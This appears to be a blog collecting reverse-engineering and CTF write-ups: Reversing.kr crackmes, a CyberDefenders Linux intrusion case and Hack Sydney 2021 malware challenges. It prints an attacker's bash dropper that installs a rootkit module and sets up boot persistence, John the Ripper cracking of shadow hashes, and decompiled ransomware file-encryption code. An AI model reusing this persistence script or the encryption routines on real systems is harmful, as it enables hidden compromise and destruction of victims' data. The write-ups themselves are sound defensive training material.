CTF Reversing – Pending Investigations

Reversing.kr Walkthroughs Part 1

Easy Crack

The first challenge is easily accomplished through IDA Free. Follow the “Congratulation!!” string to where it is cross-referenced:

This takes you to a control-flow block where a byte of a String is compared to the character “E.” Traversing upwards, we identify where this string is input into the program.

In this case, String is a buffer passed to GetDlgItemTextA. According to the API reference, we can see that we will input a key in the dialog box, which will be placed into this buffer:

Looking closer at where the String buffer is on the stack, we can see that several variables lie mere bytes after the first character. This indicates that the variables are probably pointing to later characters, so we should rename them based on their position:

Looking forward to references to these variables, we pretty much complete the picture. As we noticed from the bottom of the function, the first character in the String buffer is compared against “E.” The next bytes can be found quickly:

The 2nd character should be “a”, the 3rd and 4th characters should probably be “5y.” A quick look into sub_401150 shows that it is strncmp, a function that compares 2 strings, taking two pointers and a length as arguments. The function is called like this:

sub_401150(*String_3rd_char, *offset_5y, 2)

The third and 4th characters should be “5y” in order for the function to return zero and continue to more functionality.

The next portion of the graph implements a comparison between the string “R3versing” and the buffer from the 5th character onward.

This comparison goes until the null byte at the end of the “R3versing” ASCII string. With this done, we test our theory on the crackme by running it.

Easy ELF

There are only few functions in this ELF, so we can jump straight to main in IDA Free by pressing G and typing in “main.” This takes us to the main control-flow:

Stepping into sub_8048434, we can quickly see that it’s a handler for the function scanf. This function reads user input on the command line and copies it into a buffer. We can spot these structures and rename them, as well as the function:

Double click on input_buffer, and we find that there are references to bytes very close to input_buffer. Again, we can conclude that there are checks on different characters in the input string. So, we rename these bytes to make the checks stand out later. In this case, I made an array of size 0x14 on the input_buffer offset instead of renaming all 6 references. This is generally a good idea, as it is typically faster when the buffer is longer.

By following cross-references to this input_buffer, or going back to main, we arrive at the function sub_8048451. We can quickly rename this “key_check,” noting the several byte comparisons:

Right before the byte comparisons, we can see that a couple of bytes are XORed with hard-coded bytes. Here is the pseudocode for what happens in this function:

The 2nd character (input_buffer+1) should be 0x31 (“1”)
New 1st character = XOR first character with 0x34
New 3rd character = XOR 3rd character (input_buffer+2) with 0x32
New 4th character = XOR 4th character (input_buffer+3) with 0xFFFFFF88 (AKA -0x78)
5th character (input_buffer+4) should be “X”
6th character (input_buffer+5) should be 0x00, a null byte
New 3rd character should be 0x7C
New 1st character should be 0x78
New 4th character should be 0xDD

Since the XOR operation is “symmetrical,” we can get the key by taking the checked bytes and XORing them with the specified keys.

1st character = 0x78 ^ 0x34 = “L”
2nd character = “1”
3rd character = 0x7C ^ 0x32 = “N”
4th character = 0xDD ^ 0xFFFFFF88 = “U”
- The instruction mov ds:input_buffer+3, al only moves the low byte, so the higher-order 0xFFFFFF are left behind.
5th character = “X”
6th character = 0x00

We can see this transformation in one operation using CyberChef. For the XOR key, we input bytes where characters were XORed and leave as null bytes when characters are not transformed:

These make up the ASCII string “L1NUX”\x00. So this is our input! You can run it in a VM if you’d like, but I did confirm it 🙂

Easy Unpack

This program uses a simple packing mechanism, as well as some inline resolution of APIs. Many malware samples use similar techniques. In this case, there is only 1 defined function, which is a good sign of a packed sample.

At the beginning of the start function we see the kernel32.dll library is loaded and the function GetModuleHandleA is resolved and called. Renaming variables makes this clear:

Looking at the next part of the control flow, we can see that XOR decryption is occurring. The offset moved into edx is of particular concern to us here:

What we have here is called “rolling XOR” or “multi-byte XOR” decryption, because the key proceeds to another byte as the data does. This XOR key, 0x1020304050, will show up as a recurring pattern in the encrypted data in null spaces. Example:

Going back to the previous code, the value in ecx, a pointer to what we believe is an encrypted buffer, is constantly compared against the unchanging value in edx. This makes it clear that 0x4094EE, the value in edx, is where decryption stops (for now). I re-labeled the value “end_offset_1.” I also re-named the address passed into ecx, 0x409000, to “ptr_Gogi,” since it points to the beginning of the section, and I like to make my variable names as informative as possible, since we’ll see this pattern recur.

Next, the packed program dynamically resolves and calls VirtualProtect:

In this case, VirtualProtect is being called with several arguments, and after some Googling of the arguments, you can replace the constant values by right-clicking and selecting “use standard symbolic constant.” The only thing we want to change for the time being is the 0x4 that gets pushed, which is the new protection value for that region (in this case, 4096 bytes after 0x405000, the section .rdata). That value is PAGE_READWRITE, which tells us that this section is likely to be modified soon. Before moving on, I marked 0x405000 as ptr_rdata.

How about this next section? The value 0x409003, moved into edx, is 3 bytes into the section .Gogi, which was just decrypted in the previous loop. We’re using the decrypted .Gogi to overwrite the data at the pointer moved into ecx, which appears to be a (currently small) import table. The loop continues copying while searching for a contiguous 3-byte value AB CD EF, which is probably artificially added to mark an important next piece of data. Then, we see 0x409129 moved into edx, where it is expected we will find another constant pattern AC DF. While we can see there is a larger loop here, it’s a simple check. Let’s get a better look at the loop itself:

Knowing we’re writing right after a section that looks like an import table gives us a first hint, and the APIs LoadLibraryA and GetProcAddress further support the theory that the packer is now building the Import Address Table at the address in edx. It appears that library names are preceded by AC DF and two more bytes. Once LoadLibraryA is called, the address in edx is incremented until a null byte is found (the end of the library name), then incremented again for the null byte, incremented once more by 4, then passed to GetProcAddress. The address in edx at this point should point to an API function. After incrementing edx until the end of the function name, the packer searches for the next item, which may be either a library name or the next function name within the same library. The end of the section to be parsed is 0x4094EC. The last block we see calls VirtualProtect, again with the page permissions PAGE_READWRITE, on about 16 KB of the section .text pointed to by address 0x401000 (which is often the virtual address of .text, where unpacked payloads tend to execute). So now, we expect the .text section to be modified:

This should look familiar; we’re using the same rolling XOR key to decrypt .text, incrementing ecx until the address of the .rdata section is hit. Knowing this, let’s move onto the last decryption phase:

This last flow decrypts the .data section in the same way as previous blocks, then jumps to a particular address. This last block, which we can recognize by both the unconditional jump instruction JMP and the pure distance of the jump itself, is a tail jump. This is a recognizable feature of many packers, a jump to where the unpacked data takes control of execution. The distance is from 0x40A1FB to 0x401150, a huge jump almost to the beginning of the binary in the .text section. We’re jumping from the section .GWan, at the end of the binary, which is a common location for a packer’s stub or unpacking code. And this is the end of the packer. In order to test our theory, we can either just debug and run to this tail jump, or we could write a script to statically unpack this. The flag for this challenge is simply the address of the OEP, which we believe should be 0x401150, so let’s debug! We set a breakpoint on the jump to our OEP, then step once:

We land in some bytes that haven’t been accurately disassembled. We can try to clean things up by pressing “C” for Code, but since we also have some code incorrectly disassembled (the “in al, dx” is the issue here) we first need to undefine the bad instructions by pressing U. Then we can press C, which should disassemble the first byte 0x55 to push ebp. If we keep undefining bytes and redefining code until we get to a return opcode (0xC3 at 0x40123A), we get a pretty complete-looking function!

Actually, the only thing we had to find for this challenge was the OEP! The flag is 00401150.
Thanks for reading!

EscapeRoom (CyberDefenders)

This is a network forensics and Linux malware analysis challenge I found on CyberDefenders (DFIR challenge site). I’m a fan of the site so far and think it’s well organized.

The files include a .pcap and a couple log files, including a process listing, the shadow file and the sudoers file from a linux host. I dove into the .pcap first, using Wireshark.

What service did the attacker use to gain access to the system?

So we’re looking for an intrusion.

Right away, we can see in the packet capture that a remote host 23.20.23.147 is sending a SYN (synchronization request) packet to the host 10.252.174.188. TCP traffic to port 22, as well as the SSH protocol being used throughout. I’m leaning towards SSH at this point. And by inspecting the streams we can see the use of the OpenSSH library version 5.9p1.

Later on, we see some different activity:

10.252.174.188, which we believe to be our Linux server, is now sending a SYN (synchronization request) to 23.20.23.147, which we believe to be the remote intruder. This looks like post-compromise activity. Indeed, the Linux server is sending a HTTP GET request to the attacker, and later on receives a payload. So we can surmise that the compromise has happened at this point, through SSH.

What attack type was used to gain access to the system?

We can see that the remote attacker initiated SSH session after SSH session in quick sequence. By going to the WireShark window Statistics > Conversations and selecting the TCP tab, we can see how many SSH streams were initiated by the attacker (>50):

Due to this, the attacker appears to have no particular exploit and is probably using the bruteforce method.

What was the tool the attacker possibly used to perform this attack?

This one is a little tricky. Are there signs of a particular tool being used here? I couldn’t find any so I had to guess Hydra (and fortunately the site shows the flag is 5 letters so that’s helpful).

How many failed attempts were there?

This is where the Conversations window (look back at the screenshot) comes in handy. Besides the one successful login with 50 packets, and the particularly long SSH conversation where the attacker does all the activity, the other failed sessions are all 26-28 packets. I count 52 failed attempts (and was honestly surprised I counted it accurately).

What credentials (username:password) were used to gain access? What other credentials could have been used to gain access also have SUDO privileges?

For this they instruct us to refer to shadow.log and sudoers.log. Since they said that, and there isn’t a way to decrypt the ssh sessions in the pcap, to my knowledge, it looks like they want us to crack the hashes in the shadow.log file using something like John the Ripper. Not really a forensics challenge per se, but good to know how to do, to test whether an attacker could have feasibly done it.

So, who are the users with sudo access? For this we check the sudoers.log file, which would be /etc/sudoers on the server:

So now that we know which users we want to target (we’re looking for at least 2 from this group), we need a wordlist to guess against our hashes in the shadow.log file. I downloaded the rockyou.txt wordlist and ran john with the following command. If you don’t have it installed, try “sudo apt install john” (if you’re on a debian-based Linux distro like REMnux):

As you can see, almost immediately John cracks the password of “forgot” from the user “manager”. After about 20 minutes (I should have given my VM more CPU) we get the passwords of gibson and sean. For the purposes of the challenge, the users with sudo access are manager and sean. The answers to questions 5 and 6 are thus manager:forgot and sean:spectre. Remember to use strong passwords, y’all!

What is the tool used to download malicious files on the system?

This is typically a question that can be answered with both network and the host-based indicators. If traffic is unencrypted you can often see the service or application responsible for the traffic in WireShark. Let’s see what files the host downloaded using the Objects menu in WireShark (File > Export Objects > HTTP):

The files at the end may or may not actually be .bmp (bitmap images), but filenames 1 2 and 3 definitely seem like payload URIs. I’ve often seen secondary payloads have a URI of one word or letter. By double clicking on the Object 1, WireShark will jump to the packet where the object is reassembled:

The reassembled Packet Data Unit containing Payload 1.

In this so-called text/html file, we can see that there’s an ELF header. This definitely looks like a payload meant to run on our victim machine (which is running Linux). Our goal is to figure out which program triggered this download. By double-clicking on the link “Request in frame: 1744”, we jump to the request packet from the compromised victim:

The request to download the first payload from the C2.

Here we can see that the User-Agent associated with the request is Wget, a Linux-native program for “getting” web content from a page. Wget is our tool and the answer to question 7, and as we can see in the Objects window, there are payloads 1, 2 and 3. So the answer to question 8 is 3.

And Now, For the Malware

The rest of the questions are dedicated to dissecting the malware, so we’ll answer them in a continuous flow.

Looking at the strings for the 3 payloads, we find interesting data in all of them. However, generally I like going for the shortest file first, in this case Payload 3. This time it pays off:

#!/bin/bash
mv 1 /var/mail/mail
chmod +x /var/mail/mail
echo -e "/var/mail/mail &\nsleep 1\npidof mail > /proc/dmesg\nexit 0" > /etc/rc.local
nohup /var/mail/mail > /dev/null 2>&1&
mv 2 /lib/modules/`uname -r`/sysmod.ko
depmod -a
echo "sysmod" >> /etc/modules
modprobe sysmod
sleep 1
pidof mail > /proc/dmesg
rm 3

So payload 3 is a bash script that gives us some insights into the other two payloads. Line by line, let’s follow the script:

Rename payload 1 to /var/mail/mail
Change P1’s (/var/mail/mail) permissions to executable
Echo the following string of commands to /etc/rc.local:
1. Launch Payload 1
2. Sleep 1 second
3. Send the PID of mail (malware) to /proc/dmesg (This sends the PID to the kernel)
4. exit shell
Use nohup to run Payload 1 (/var/mail/mail) in the background, redirect standard output to /dev/null, redirect standard error to standard output (this means silence errors)
Rename Payload 2 to sysmod.ko and move it to /lib/modules/[insert_kernel_version]/. Kernel version is inserted inline using “uname -r”
Generate dependency lists for all kernel modules using depmod
Add sysmod to the list of modules at /etc/modules
Add malicious module sysmod to the kernel (Payload 2)
Sleep for a second
Hide the PID of running Payload 1 (mail)
Delete this file

I actually learned a good amount about evasion looking into this script. Payload 3 looks like it’s the one to be executed by the threat actor, since it stages Payloads 1 and 2 and establishes the persistence methods. 3 also helps us establish the purposes of the other 2 payloads. Payload 1 is run regularly at boot (by rc.local) and in the background by nohup. Payload 2 is a kernel module installed into Linux; usually kernel modules or drivers hook native syscalls, and can hide filenames or prevent deletion of the malware’s files. This set of malware is rather evasive and may be protecting itself.

Now that we’ve established the “main” malware is Payload 1 (probably), let’s answer some questions:

Main malware MD5 hash: 772b620736b760c1d736b1e6ba2f885b (just run “md5sum 1)”

What file has the script modified so the malware will start upon reboot? That’s /etc/rc.local

Where did the malware keep local files? Bit of an odd phrasing; there are a variety of files here. But in this case they mean the /var/mail/ directory where payload 1 is copied.

What is missing from ps.log? If the malware runs at boot with the name /var/mail/mail, we would expect to see it in the process output:

##	Extracted via 'ps aux > ps.log' immediately after reboot	##

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  2.1  0.3  24328  2192 ?        Ss   22:55   0:00 /sbin/init
root         2  0.0  0.0      0     0 ?        S    22:55   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    22:55   0:00 [ksoftirqd/0]
root         4  0.0  0.0      0     0 ?        S    22:55   0:00 [kworker/0:0]
root         5  0.1  0.0      0     0 ?        S    22:55   0:00 [kworker/u:0]
root         6  0.0  0.0      0     0 ?        S    22:55   0:00 [migration/0]
root         7  0.0  0.0      0     0 ?        S    22:55   0:00 [watchdog/0]
root         8  0.0  0.0      0     0 ?        S<   22:55   0:00 [cpuset]
root         9  0.0  0.0      0     0 ?        S<   22:55   0:00 [khelper]
root        10  0.0  0.0      0     0 ?        S    22:55   0:00 [kdevtmpfs]
root        11  0.0  0.0      0     0 ?        S<   22:55   0:00 [netns]
root        12  0.0  0.0      0     0 ?        S    22:55   0:00 [xenwatch]
root        13  0.2  0.0      0     0 ?        S    22:55   0:00 [xenbus]
root        14  0.0  0.0      0     0 ?        S    22:55   0:00 [sync_supers]
root        15  0.0  0.0      0     0 ?        S    22:55   0:00 [bdi-default]
root        16  0.0  0.0      0     0 ?        S<   22:55   0:00 [kintegrityd]
root        17  0.0  0.0      0     0 ?        S<   22:55   0:00 [kblockd]
root        18  0.0  0.0      0     0 ?        S<   22:55   0:00 [ata_sff]
root        19  0.0  0.0      0     0 ?        S    22:55   0:00 [khubd]
root        20  0.0  0.0      0     0 ?        S<   22:55   0:00 [md]
root        21  0.0  0.0      0     0 ?        S    22:55   0:00 [kworker/u:1]
root        22  0.0  0.0      0     0 ?        S    22:55   0:00 [kworker/0:1]
root        23  0.0  0.0      0     0 ?        S    22:55   0:00 [khungtaskd]
root        24  0.0  0.0      0     0 ?        S    22:55   0:00 [kswapd0]
root        25  0.0  0.0      0     0 ?        SN   22:55   0:00 [ksmd]
root        26  0.0  0.0      0     0 ?        S    22:55   0:00 [fsnotify_mark]
root        27  0.0  0.0      0     0 ?        S    22:55   0:00 [ecryptfs-kthrea]
root        28  0.0  0.0      0     0 ?        S<   22:55   0:00 [crypto]
root        36  0.0  0.0      0     0 ?        S<   22:55   0:00 [kthrotld]
root        37  0.0  0.0      0     0 ?        S    22:55   0:00 [khvcd]
root        56  0.0  0.0      0     0 ?        S<   22:55   0:00 [devfreq_wq]
root       155  0.0  0.0      0     0 ?        S    22:55   0:00 [jbd2/xvda1-8]
root       156  0.0  0.0      0     0 ?        S<   22:55   0:00 [ext4-dio-unwrit]
root       247  0.3  0.1  17224   636 ?        S    22:55   0:00 upstart-udev-bridge --daemon
root       250  0.3  0.1  21460  1200 ?        Ss   22:55   0:00 /sbin/udevd --daemon
root       302  0.0  0.1  21456   712 ?        S    22:55   0:00 /sbin/udevd --daemon
root       303  0.0  0.1  21456   700 ?        S    22:55   0:00 /sbin/udevd --daemon
root       387  0.0  0.0   7256   604 ?        Ss   22:55   0:00 dhclient3 -e IF_METRIC=100 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -1 eth0
root       436  0.0  0.0  15180   396 ?        S    22:55   0:00 upstart-socket-bridge --daemon
root       602  0.0  0.4  49948  2816 ?        Ss   22:55   0:00 /usr/sbin/sshd -D
102        608  0.0  0.1  23808   908 ?        Ss   22:55   0:00 dbus-daemon --system --fork --activation=upstart
syslog     619  0.1  0.2 253708  1480 ?        Sl   22:55   0:00 rsyslogd -c5
root       682  0.0  0.1  14496   948 tty4     Ss+  22:55   0:00 /sbin/getty -8 38400 tty4
root       689  0.0  0.1  14496   948 tty5     Ss+  22:55   0:00 /sbin/getty -8 38400 tty5
root       697  0.0  0.1  14496   948 tty2     Ss+  22:55   0:00 /sbin/getty -8 38400 tty2
root       698  0.0  0.1  14496   948 tty3     Ss+  22:55   0:00 /sbin/getty -8 38400 tty3
root       705  0.0  0.1  14496   952 tty6     Ss+  22:55   0:00 /sbin/getty -8 38400 tty6
root       721  0.0  0.1   4320   656 ?        Ss   22:55   0:00 acpid -c /etc/acpi/events -s /var/run/acpid.socket
daemon     722  0.0  0.0  16900   376 ?        Ss   22:55   0:00 atd
root       723  0.0  0.1  19104   868 ?        Ss   22:55   0:00 cron
root       732  0.1  0.5  73352  3520 ?        Ss   22:55   0:00 sshd: ubuntu [priv] 
mysql      741  1.5  7.0 492460 42860 ?        Ssl  22:55   0:00 /usr/sbin/mysqld
whoopsie   746  0.1  0.6 187580  3968 ?        Ssl  22:55   0:00 whoopsie
root       777  0.0  0.5  74220  3140 ?        Ss   22:55   0:00 /usr/sbin/apache2 -k start
www-data   779  0.0  0.3  73952  2140 ?        S    22:55   0:00 /usr/sbin/apache2 -k start
www-data   781  0.0  0.4 428728  2588 ?        Sl   22:55   0:00 /usr/sbin/apache2 -k start
www-data   784  0.0  0.4 363192  2588 ?        Sl   22:55   0:00 /usr/sbin/apache2 -k start
root       866  0.0  0.0      0     0 ?        S    22:55   0:00 [flush-202:1]
root       870  0.0  0.1   4392   608 ?        S    22:55   0:00 /bin/sh /etc/init.d/ondemand background
root       875  0.0  0.0   4300   348 ?        S    22:55   0:00 sleep 60
root       888  0.0  0.1  14496   956 tty1     Ss+  22:55   0:00 /sbin/getty -8 38400 tty1
ubuntu     968  0.0  0.2  73352  1640 ?        S    22:55   0:00 sshd: ubuntu@pts/1  
ubuntu     970  3.3  1.2  24912  7292 pts/1    Ss   22:55   0:00 -bash
root      1162  0.1  0.2  41896  1700 pts/1    S    22:55   0:00 sudo su
root      1163  0.0  0.2  39516  1340 pts/1    S    22:55   0:00 su
root      1164  0.0  0.3  19704  2092 pts/1    S    22:55   0:00 bash
root      1176  0.0  0.2  16872  1224 pts/1    R+   22:55   0:00 ps aux

But as we can see, the process name isn’t shown. The evasion strategy seems to have worked. So /var/mail/mail is not found in ps.log

What is the main file that used to remove this information from ps.log? Well, in order to hide a process, a malware author has to hook syscalls or higher-level APIs. Hooking syscalls requires either overwriting function pointers with addresses to malicious code or installing a kernel module/rootkit to implement hooking. In this case, we can tell that Payload 2, which is renamed to sysmod.ko, is our kernel module/rootkit. This is most likely the file that hides the malicious process from the ps command output. Running strings on Payload 2 allows us to build confidence that some of the functions could be related to hiding the PID of Payload 1:

As for the last few questions, let’s finally open up the main Payload 1 in Cutter to do some analysis.

Actually, before that I usually like to use strings to get an idea of the content of the file. In this case, I got the feeling from the UPX! header and “This program is packed with the UPX executable packer” that we might be dealing with the most well-known compressor/packer:

Detect it Easy, a great tool for triaging, seems to agree on the UPX front:

So we attempt to decompress/unpack Payload 1 using “upx -d”, and find some success. If we look at the strings again after decompression, we see a lot more symbols as well as some IP addresses that may well be the attacker’s command-and-control servers:

Let’s use these strings, especially the wget reference, to find the network functionality in the disassembler Cutter.

Following the string reference in Cutter (using the “X” button when the string is selected) we land in the request_file function of the malware.

The following appear to happen here:

The a buffer is passed to the encode function, which, from the prevalence of the 0x3d assignments (the character ‘=’) looks like it could be Base64 encoding. This encoded string is placed into a format string with the wget command, the /var/mail/ directory, and some string pointed to by currentindex using sprintf. Now things are starting to make sense. The next payloads are placed in /var/mail/ because of the -O option passed to wget, hence the description of the directory for “local files”.
The puts command runs wget.
The popen call, supplied with the filename and opened with the “r” mode (you have to follow the address there) reads the downloaded file.
The file content is placed in a stream object and returned to the next function.

Now, after the file is received, it’s decrypted. There’s a function named decryptMessage, which has a function extractMessage within it. For now, let’s skip these and look at the function processMessage:

We can see from graph view that we have some comparisons against the decrypted message. If we take the first jump and the second jump, it looks like we miss most of the major functionality. What are these comparisons? The values look like they’re in the ASCII range, but Cutter is displaying them as DWORDS. My Cutter seems to be out of date and won’t update from the Help menu, so let’s take these two DWORDS (0x4e4f5000 and 0x52554e3a) and convert them to strings in CyberChef:

You can also see that these are strings in the Hexdump view on Cutter, but the order must be reversed since the string is loaded little-Endian.

So, the commands we’re looking for are NOP and RUN:, which seem intuitive. Either the C2 wants the backdoor to stay quiet or run a command.

The last thing we need to figure out for this challenge is how many files the malware downloads. Let’s figure that out in the main function by looking at our control flow:

As we can see, the decompiler is very useful for getting an overview. In this case, the highlighted variable var_418 is an iterator. Maybe it tracks the number of files that have been downloaded? We can see that the number is passed to requestFile, incremented at the end of each loop, and reset to 0 when it increments to 4. We also have a global variable called _currentIndex which is used to index into various arrays, including one called lookupFile. If we follow the address of lookupFile it’s not initialized; this is because several variables, including lookupMod and lookupFile, are initiated in the function makeKeys(). While I am curious about that function, it is a beast.

Now that we see that the list of URLs is generated, we can either run the malware and see how many files it requests dynamically (which may not work, it could be dependent on the C2s being up) or we can head back to the pcap in WireShark and look at the Export Objects > HTTP window once more:

The cool thing is, if you select one of the files and hit the “Preview” button, we can see whether the file actually resolves into an image. Even though the later objects (after payloads 1,2 and 3) are identified as .bmp images, we should always give them a look. That said, some malware are still known to hide commands or payloads in the least significant bytes of images while still looking normal. I usually check the entropy

In all, we download 9 files from the C2, and they at least appear to be the end of the trail. I think we’re ready to wrap up:

Inside the Main function, what is the function that causes requests to those servers? requestFile

One of the IP’s the malware contacted starts with 17. Provide the full IP. That would be 174[.]129[.]57[.]253.

How many files the malware requested from external servers? 9.

What are the two commands that the malware was receiving from attacker servers? NOP,RUN

Recap

So to recap, we had a victim server that was vulnerable to being SSH bruteforced. The administrators had weak passwords that were easy to guess. From here, the attacker made a wget request to their own server, which downloaded a bash script. This bash script “3” facilitated the install of the main payload “1”, renamed it to the inconspicious location /var/mail/mail, and configured it to run at boot via /etc/rc.local. “3” also followed the necessary procedure to install a kernel module and rootkit “2”, which was renamed to sysmod.ko. The rootkit hid the main payload from the ps command and removed the /proc/ entry as well. “3” cleaned its traces and we studied the payload “1”. This payload was and ELF packed with UPX, but once decompressed, we could see the embedded configuration rather quickly. However, the runtime generation of base64 encoded URIs and HTTP traffic would have made this activity hard to spot without prior knowledge of infection.

Overall, this was a great learning experience for Linux malware and I look forward to doing more challenges on CyberDefenders. I hope you enjoyed reading and also learned something.

Hack Sydney CTF 2021

Found out about this RE and Malware focused CTF on DFIR Diva. I’ll only writeup the challenges I found interesting. I’ll be using REMnux for as much as I can, since I used it a lot studying for GREM and find that it covers most needed tools.

No Flow

For this challenge you could just use strings and grep for the flag tag (“malienist”), but that’s ignoring the time the organizers took to make this challenge. So while it’s a beginner-level challenge, let’s go about it sincerely.

For starters, this looks like it could be a real piece of malware. Looking at the exports which are helpfully named, the sample can function as a dropper and downloader. I opened up the sections for a look at the entropy, which can indicate an encrypted configuration section or packing.

Screenshot from Detect it Easy, Entropy view

It does not appear to be packed, but my intuition tells me that the .cfg section stands out (it’s not a common section name for PEs).

So here we’ve already found the config string, flag, and as you can see, an embedded executable at the end of it. Just for completeness, I looked through the code to find where the parts of this config are parsed:

Screenshots are from Ghidra; I pivoted on the ‘srvurls’ string to find the parsing logic.

There’s also more functionality to be found in terms of setting a Run key, RC4 encryption and harvesting system information, but it’s not too relevant to the challenge.

Mr. Selfdestruct

This one is an Excel maldoc downloader. The tool oleid gives us some triage data and points us to the right tool.

The challenge is solved with the tool olevba (thought it was worth mentioning since I haven’t done a macro on this blog recently):

Recovered strings from olevba’s emulation.

Flag found.

Works?

This challenge is a PE binary again. Running a couple triage tools (peframe and DiE) we notice it’s packed with UPX:

We can just use the upx utility with the -d switch and our filename to decompress the binary.

I’m surprised it works, since often a challenge will involve a UPX file that is corrupt and won’t automatically decompress. But now to the unpacked binary. Before I dive into a disassembler like Ghidra or Cutter, I like using another triage tool like capa to identify interesting functions. If you run it with the -v option it shows the address and description of the functionality. This tool saves a lot of time.

This download functionality stands out and happens to take us to the flag in Ghidra, which is used with the Windows API URLDownloadToFileW. Likely the flag would be replaced with some kind of C2 URL if this were real malware.

Ghidra disassembly and decompilation of the interesting function.

The default behavior is for the binary to fail to run, and instead display the message “You are looking in the wrong place. Think OUTSIDE the box!” At least I think so from the code, since I haven’t run it yet.

Another way of getting the flag would be dynamic analysis and network traffic interception with something like Fiddler Classic or Wireshark. Unfortunately Wine, which is preinstalled on REMnux, didn’t have the necessary DLLs to run this program on Linux.

Where Did it Go?

This challenge involves a .NET executable according to DiE. Expecting the challenge to have some obfuscation, I preemptively ran the de4dot tool to check for and clean obfuscation. It didn’t seem to be necessary in this case, but it’s good to know the tool. Typically on Windows you’d use dnspy as the decompiler/disassembler for .NET executables, but since it’s a bulky and Windows-specific program, REMnux uses ilspycmd instead. I’d never used it but in this case it’s fast and informative.

After some functions that write odd values to the registry, this function has some encoded and encrypted data, which is probably the flag. We see that s and s2 are used to decrypt the flag with the DES algorithm. Back over in CyberChef, we’ll take the hints we get here and decrypt the data.

Welp it looks like I jumped the gun there; it looks like this function MessItUp_0() just returns the string HKEY_CURRENT_USER for the overall program to disguise its registry hive a bit. The flag is pretty simple to find if we just scroll up to that registry activity.

Combine both Base64-encoded values set in the registry, then decode them:

Drac Strikes!

This challenge has a more specific goal and we are told from the beginning that draculacryptor.exe is ransomware. So we’ll be looking through the binary for the encryption key (it will likely be something symmetric). Since it doesn’t appear to be packed I first used capa again:

The file is detected as .NET which limits the effectiveness of capa, since it’s meant to be used on PEs. Even so, capa still sees some kind of AES constants/signatures, which indicate it’s the probable encryption method. Back to ILSpy.

First let’s take the Form_Load function, which is, I believe, the first function to run when this draculaCryptor Form object is loaded:

private void Form_Load(object sender, EventArgs e)
		{
			((Form)this).set_Opacity(0.0);
			((Form)this).set_ShowInTaskbar(false);
			string str = Centurian();
			string text = userDir + userName + str;
			string text2 = string.Concat(str2: CenturyFox(), str0: userDir, str1: userName);
			if (!File.Exists(text))
			{
				string password = CreatePassword();
				SavePassword(password);
				File.Copy(Application.get_ExecutablePath(), text2);
				Process.Start(text2);
				Application.Exit();
			}
			else
			{
				timer1.set_Enabled(true);
			}
		}

It looks like this logic decrypts a full path and filename, checking for its presence on the system. If this file text is not present, it drops and starts the executable text2. Since it only checks for the presence of text and doesn’t run it, this is basically a mutex check.

Centurian() and CenturyFox() both DES decrypt and return filenames to be concatenated into full paths for the binary, similar to the functionality we saw in MessItUp_0(). CreatePassword() is the same, but that value, once decoded, will be valuable to us. SavePassword() will be more interesting for trying to find where encryption passwords would be stored.

public string CreatePassword()
		{
			try
			{
				string text = "wnFwUzL1OhR+6skNvjttFI/B9WeoMSp19ufeM8blv7/sm5hnk+qEOw==";
				string result = "";
				string s = "aGFja3N5";
				string s2 = "bWFsaWVu";
				byte[] array = new byte[0];
				array = Encoding.UTF8.GetBytes(s2);
				byte[] array2 = new byte[0];
				array2 = Encoding.UTF8.GetBytes(s);
				MemoryStream memoryStream = null;
				byte[] array3 = new byte[text.Replace(" ", "+").Length];
				array3 = Convert.FromBase64String(text.Replace(" ", "+"));
				DESCryptoServiceProvider val = new DESCryptoServiceProvider();
				try
				{
					memoryStream = new MemoryStream();
					CryptoStream val2 = new CryptoStream((Stream)memoryStream, ((SymmetricAlgorithm)val).CreateDecryptor(array2, array), (CryptoStreamMode)1);
					((Stream)val2).Write(array3, 0, array3.Length);
					val2.FlushFinalBlock();
					result = Encoding.UTF8.GetString(memoryStream.ToArray());
				}
				finally
				{
					((IDisposable)val)?.Dispose();
				}
				return result;
			}
			catch (Exception ex)
			{
				throw new Exception(ex.Message, ex.InnerException);
			}
		}

So when we decode the above password using CyberChef, we do indeed get the flag:

Still, the functions SavePassword and EncryptFile are important if we intend to decrypt a lot of files from the disk.

public void SavePassword(string password)
		{
			string str = Centurian();
			_ = computerName + "-" + userName + " " + password;
			File.WriteAllText(userDir + userName + str, password);
		}

public void EncryptFile(string file, string password)
		{
			byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
			byte[] bytes = Encoding.UTF8.GetBytes(password);
			bytes = ((HashAlgorithm)SHA256.Create()).ComputeHash(bytes);
			byte[] array = AES_Encrypt(bytesToBeEncrypted, bytes);
			File.WriteAllBytes(file, array);
			File.Move(file, file + ".hckd");
		}

We can see that the password is saved to a directory C:\Users\[UserName]\[filename], and that it will contain a concatenation of the Computer Name, User Name and the password.

In addition, the EncryptFile() function reveals that the malware first hashes the password with SHA256, then uses it to AES encrypt the file. The file has the extension .hckd appended to its name. Looking closer at AES_Encrypt tells us more information. Specifically, these lines:

byte[] array = null;
byte[] array2 = new byte[8] {1,8,3,6,5,4,7,2}
using MemoryStream memoryStream = new MemoryStream();
			RijndaelManaged val = new RijndaelManaged();
			try
			{
				((SymmetricAlgorithm)val).set_KeySize(256);
				((SymmetricAlgorithm)val).set_BlockSize(128);
				Rfc2898DeriveBytes val2 = new Rfc2898DeriveBytes(passwordBytes, array2, 1000);
				((SymmetricAlgorithm)val).set_Key(((DeriveBytes)val2).GetBytes(((SymmetricAlgorithm)val).get_KeySize() / 8));
				((SymmetricAlgorithm)val).set_IV(((DeriveBytes)val2).GetBytes(((SymmetricAlgorithm)val).get_BlockSize() / 8));
				((SymmetricAlgorithm)val).set_Mode((CipherMode)1);
				CryptoStream val3 = new CryptoStream((Stream)memoryStream, ((SymmetricAlgorithm)val).CreateEncryptor(), (CryptoStreamMode)1);

This code indicates the use of RFC2898 to derive an encryption key from the password bytes. Here is an excerpt from MSDN that gives us insight into how to use this information:

Rfc2898DeriveBytes takes a password, a salt, and an iteration count, and then generates keys through calls to the GetBytes method.

RFC 2898 includes methods for creating a key and initialization vector (IV) from a password and salt. You can use PBKDF2, a password-based key derivation function, to derive keys using a pseudo-random function that allows keys of virtually unlimited length to be generated.

So in this case, the password is passed to the function, the salt is hard-coded in array2 as [1,8,3,6,5,4,7,2] and the number of iterations is 1000. This is enough to derive our key for AES decryption.

Operation Ivy

